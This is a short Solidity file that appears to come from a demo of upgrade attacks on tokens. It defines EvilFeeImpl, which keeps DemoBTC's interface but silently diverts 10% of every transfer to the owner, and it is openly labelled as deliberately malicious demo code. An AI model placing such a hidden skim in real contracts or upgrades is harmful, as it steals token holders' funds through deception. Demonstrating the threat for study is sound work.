src/attack/EvilFeeImpl.sol20 lines · 711 bytes
| 1 | // SPDX-License-Identifier: MIT |
| 2 | pragma solidity 0.8.37; |
| 3 | |
| 4 | import {DemoBTC} from "../DemoBTC.sol"; |
| 5 | |
| 6 | /// @title EvilFeeImpl (demo attack, threat T3) |
| 7 | /// @notice Exactly the same selectors as DemoBTC v1, but every transfer silently skims 10% to owner(). |
| 8 | /// @dev Deliberately malicious demo code. Never deploy outside a demo. |
| 9 | contract EvilFeeImpl is DemoBTC { |
| 10 | function _update(address from, address to, uint256 value) internal override { |
| 11 | if (from != address(0) && to != address(0)) { |
| 12 | uint256 fee = value / 10; |
| 13 | if (fee != 0) { |
| 14 | super._update(from, owner(), fee); |
| 15 | value -= fee; |
| 16 | } |
| 17 | } |
| 18 | super._update(from, to, value); |
| 19 | } |
| 20 | } |